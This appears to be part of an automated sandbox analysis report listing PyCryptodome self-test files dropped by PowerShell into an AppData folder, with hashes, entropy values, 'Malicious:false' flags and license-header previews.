              Preview:import re..import unittest..from binascii import hexlify....from Crypto.Util.py3compat import bord....from Crypto.Hash import SHA256..from Crypto.PublicKey import ECC..from Crypto.SelfTest.st_common import list_test_cases..from Crypto.SelfTest.loader import load_test_vectors, load_test_vectors_wycheproof....from Crypto.Protocol.DH import key_agreement......class FIPS_ECDH_Tests_KAT(unittest.TestCase):.. pass......test_vectors_verify = load_test_vectors(("Protocol", ),.. "KAS_ECC_CDH_PrimitiveTest.txt",.. "ECC CDH Primitive (SP800-56A Section 5.7.1.2)",.. {.. 'qcavsx': lambda x: int(x, 16),.. 'qcavsy': lambda x: int(x, 16),.. 'diut': lambda x: int(x, 16),.. 'qiutx': lambda x: int(x, 16),..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Protocol\test_rfc1751.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2270
              Entropy (8bit):5.332184874162283
              Encrypted:false
              SSDEEP:
              MD5:CBD669C019031D8BD673CE75FFCABBC9
              SHA1:8AD94D21B3E7394A43DA56412ED3D7A985D2ABAD
              SHA-256:5BA5CF5C2665263DF853E60CE4A6ECFD8E74910C13FA92F7B32841501BF90C59
              SHA-512:9D870E5CD01B7E2C8767EB2DB965512D91FEE5A0E9A7B9100483E8E6D8B72C1D7A0DAA0FCD912126E6C7494D81426DC7E5885CC7F55CB28674A0652240C7B7DF
              Malicious:false
              Reputation:unknown
              Preview:#..# Test script for Crypto.Util.RFC1751...#..# Part of the Python Cryptography Toolkit..#..# Written by Andrew Kuchling and others..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE U

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\PublicKey\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2171
              Entropy (8bit):5.107065900658561
              Encrypted:false
              SSDEEP:
              MD5:16A772A3446659C213576E2764F399D7
              SHA1:88C5C7B483ADAF2E6B9633461BF341C2279A8B5E
              SHA-256:224DAB6C290328730A1E963220152817E26D968CDFFF2E85DCA8CA0D19FA8800
              SHA-512:5E60DB98AB80DC2AB63EB752368B2BF76CB3F0DD320E49E52AE145F27EC6B0FB688711B55013CE3519FAB6BCBEBE7CBF660A835F40AF7A71F30C737428850CA7
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/PublicKey/__init__.py: Self-test for public key crypto..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTI

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\PublicKey\test_DSA.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9847
              Entropy (8bit):5.126770879872313
              Encrypted:false
              SSDEEP:
              MD5:7F395A7282137DE7AD45DBBBC587CC59
              SHA1:B0356AEC021563188303A2A524B6B9C49B4EBC56
              SHA-256:60F3FAF47612A9DF1B4D89B06B38E1B6286D3CF2D77F4493FE7EBAF664A087B1
              SHA-512:70BB36338F544ED31F3737712E1674C21997817A7691707081BDC101360F20E65D2B8923E7EE1F0299B5F2053815F201EF110CB69A10DA9243E040206C237A0E
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/PublicKey/test_DSA.py: Self-test for the DSA primitive..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTI

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\PublicKey\test_ECC_25519.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):14014
              Entropy (8bit):5.321898620860337
              Encrypted:false
              SSDEEP:
              MD5:1D22C9180740F1EA72DF084954EB283D
              SHA1:B3B723EEC6826054E35187067EB99EA290DAA364
              SHA-256:1F840B622E7315C5C5A923D8454A5B9C66322CEB9D33B812CEC8A6D8761F4A2B
              SHA-512:A518551D6C8D48364F218255FCFF288F2E87D923939A7C1C1465620FB381C1275FE29F1C2453B20E37B3668D8C48E75BF2FA96A21BFE1725258FA80466FA76F6
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2022, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\PublicKey\test_ECC_448.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):15235
              Entropy (8bit):5.323832478101059
              Encrypted:false
              SSDEEP:
              MD5:017642671098D38A9921ADA7A0951DA8
              SHA1:BC9E4CE5AD8084B4738D143535069B07AE04AA2D
              SHA-256:5CBAA220B85562E5DB201B3A0C4A038053A89EADAA8D9E2E38E06EC5F5E91784
              SHA-512:7DD94737C18B9271F75387EFEC5A2EB91A9A5AEBE73B995AF5A17AC7D667B13C98CF29150DDADBEAF17F55C278207ACD8A56D9D8CE4BF428FC3006CD5AE0896A
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2022, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\PublicKey\test_ECC_NIST.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with very long lines (320), with CRLF line terminators
              Category:dropped
              Size (bytes):52772
              Entropy (8bit):5.105714890735783
              Encrypted:false
              SSDEEP:
              MD5:D4E0988F7D451B2B6947B897A28EE683
              SHA1:EC447FDC1938150BA061A2694D515AE4DA2E1BC6
              SHA-256:725530571C5F6A2A7A7DBE70CA01F0D98ACF58A28A7E756AB5112264B8A1671F
              SHA-512:DABB89CDA5304D7BEEC6DE652FCBC9B4379A1D5EB2A7769D5DEF4E2BDEFB52DDE9F40662480AFD29E7D92700057893376E399A2FA85EB36E4DF9FFE9393F0639
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\PublicKey\test_ElGamal.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8865
              Entropy (8bit):5.359617066604544
              Encrypted:false
              SSDEEP:
              MD5:72679E90B28641849BF954433CD1E65D
              SHA1:9C879DF1BEF61E45270C49FAF745FD1A3D5D01BA
              SHA-256:DE68DD99C82D04F99B7A8DC246F9AA626B97AEBB0266D237B3F97212AC9A7F2F
              SHA-512:9383D3DB45A596462A3FD7F9AF9723AD451D0CA7CE2BEBB8C9364021623E5E85E505D9AD565C20BCB894A2FBBAF90566E947E044FC8C36A540C4F9BFAB0EBD48
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/PublicKey/test_ElGamal.py: Self-test for the ElGamal primitive..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\PublicKey\test_RSA.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12948
              Entropy (8bit):4.976023341221772
              Encrypted:false
              SSDEEP:
              MD5:32E053A4827566EF922022D85F245E73
              SHA1:6B0B7C6A5A55846EEF14E5B8E57EEBCFE79CA333
              SHA-256:C21A130AFCC95FE9C7399B96843457360412E2AF6F880502B9DA6961CFF05DD1
              SHA-512:2D1651C9DCF4063F7334BE051EBE23F792F08B4009F11A551D4B810C38DF4778CBFDA030B3F7039DB72F7598BBB90760D694172BC33660FB259F759E24903AB5
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/PublicKey/test_RSA.py: Self-test for the RSA primitive..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTI

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\PublicKey\test_import_DSA.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with very long lines (606), with CRLF line terminators
              Category:dropped
              Size (bytes):26063
              Entropy (8bit):5.815765795492079
              Encrypted:false
              SSDEEP:
              MD5:1F7E668CD0A3C46EC31C5CA5CBAD6BE2
              SHA1:530E5492A65FC6D0202FF2E734C1FCE0E03086D8
              SHA-256:AE72FF476A6EDF11F5C87833E61C3FA22B636FFD9A40BBA216DBE4EAAF375734
              SHA-512:31D17F6A4C7F9E6813F8C265D81EBF6D84B92494B037DA6CA341178FFD30671B8197349006A6E8D2E470143324CC6187391179639B9DC5C31904308E5BF49BAD
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/PublicKey/test_import_DSA.py: Self-test for importing DSA keys..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\PublicKey\test_import_ECC.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):110530
              Entropy (8bit):4.785476957080907
              Encrypted:false
              SSDEEP:
              MD5:9AFABC2CBEE27CA96CFF6E39B6A71F59
              SHA1:D7FC53777C2E19578D912DFAEB264B75075D6ED4
              SHA-256:6D1D11ACC8627531DA1004DA3C769145C86132D3BCFC534C2C95316461F32483
              SHA-512:5F577A3D5AD96CEBF411E6F8B85A76D26D709A8A0233344C9F2C6D429E9F304E1085FAD8D2A50729521B52743F01CA3C5036CE824FF9C2A8F9A6B9DD099A0689
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\PublicKey\test_import_RSA.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):27335
              Entropy (8bit):5.573317920900425
              Encrypted:false
              SSDEEP:
              MD5:F1E726C8D26E5A4EDD4F0E86D08A2DB4
              SHA1:882F48AD94D4650DF3EB8277B7ACB5559FA3FB0A
              SHA-256:4E24EC277328732141035B87E859DC566C037F7E41B64385E7C52342A85708BE
              SHA-512:077403C7FA352D037DF498DA84907A9F3245D5145000C58EA25FD848CB80999D52B10BA63F84AA6101136878FECBF8919F00E0BC8D4545C8972734F19F186E3A
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/PublicKey/test_importKey.py: Self-test for importing RSA keys..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..#

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Random\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1581
              Entropy (8bit):5.226736646167872
              Encrypted:false
              SSDEEP:
              MD5:650B195DB914D00543FFC6282AEF4386
              SHA1:C12250DA69C867BF14B63D2B991A21D062C88241
              SHA-256:468CD14E0B72874B146C15413D0AA19B9D1CECE91D74924F5B746142CE14EE41
              SHA-512:4168A13930D6011BECBE65B9862B4146C65D8F3CE38CEEB6CC3AA57E332B8D08D2463FA3ABE285CF77AF706D75810FBD255D9FBDE3D57BC222A377F5C00C90D3
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Random/__init__.py: Self-test for random number generation modules..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Random\test_random.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7157
              Entropy (8bit):4.828342299384293
              Encrypted:false
              SSDEEP:
              MD5:BC110BB6E2A2F78799CBA2E4A078B348
              SHA1:5EA96E99799846814665A161C23E80946B11EBD3
              SHA-256:8A94FE4391E4615B8FB5F4115830BD8ADDABB05CEF1E8F74F7BB9AE5F8E367F7
              SHA-512:96C5E94B3304520F626F031269CBB4BB6EB81DC57E00020865B0FBDEDBF0EBD8F3C21FF51B2BC2B737192FCA0A7E3922AC88F1D6473A4061C14D5B22DCF96D2C
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Util/test_generic.py: Self-test for the Crypto.Random.new() function..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Signature\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1599
              Entropy (8bit):5.165215017196936
              Encrypted:false
              SSDEEP:
              MD5:083FC5F35EE0DF1EC53ECAC2C412FC84
              SHA1:354D57E8536552067A110B7BAB4DF8EE920528B1
              SHA-256:EE9D77A0F03E91170605EE5BBC1FDD351030504B68840E5D1AC87C688B2BDAED
              SHA-512:F03AC26A5574C2BC8F22A6FB6AAB894E1B757F58B95DF2391DC336CFBE7AB3BEFB0DAA8A8CB12135D0B42C3C225EBDC0F2BA98586F1F73744150372E6D77C9D8
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Signature/__init__.py: Self-test for signature modules..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWA

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Signature\test_dss.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):58459
              Entropy (8bit):5.033274153315109
              Encrypted:false
              SSDEEP:
              MD5:DB184380CEA1F11904E6D14175913500
              SHA1:59480F2DBD08D734AC553B4D37CB6743DB5204E6
              SHA-256:D4C77C4DE539C4759000188159D73E22EED3997DC31D9244A6AAD476437D95BD
              SHA-512:2ADED52FF8E77B12FFDCA180072C7D3B73087C4BEF145A4167D12D8026AD32851EB6763627BE31D8F61361B51DB07654146CDD56B30AA611CF07C4DF89037ECA
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/Signature/test_dss.py: Self-test for DSS signatures..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Signature\test_eddsa.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):24708
              Entropy (8bit):4.928631305766138
              Encrypted:false
              SSDEEP:
              MD5:885594421BDB74CB41BD212B07F2FE31
              SHA1:07853D9DF97033A47A5CA0290A7D23AD67DB6E62
              SHA-256:C9FF4BA5715303422A5E828AC80B8868C893255BD832C428F2DD369A169CA8FD
              SHA-512:12662D64C764654AE7066C87D632050D53507FF39778FEE3F6D5F4C6805EEDDC6C3267978FFD91E210887AF874C418C57D17756B983D73D47D132F4DD7E6D639
              Malicious:false
              Reputation:unknown
              Preview:#..# Copyright (c) 2022, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,..# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUEN

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Signature\test_pkcs1_15.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13889
              Entropy (8bit):5.0841198388491415
              Encrypted:false
              SSDEEP:
              MD5:093398DDA0E59A51C5BF120896ECAF48
              SHA1:7BB7CBCEEAC65543DE8C869443335448261DFCF8
              SHA-256:30EF738E57068C05379B9E12B435A777B3FC0010935DE6BEFD01FA4C8C0C33E8
              SHA-512:59AB1A3CC7C0176991B062FFEA818A61D7D670DAF1C6CBC9C37CCD914785C53B7FC17A90D605306E55C744B59E8A5F7D643AB1935F23B86F317F1DD823FBFBAC
              Malicious:false
              Reputation:unknown
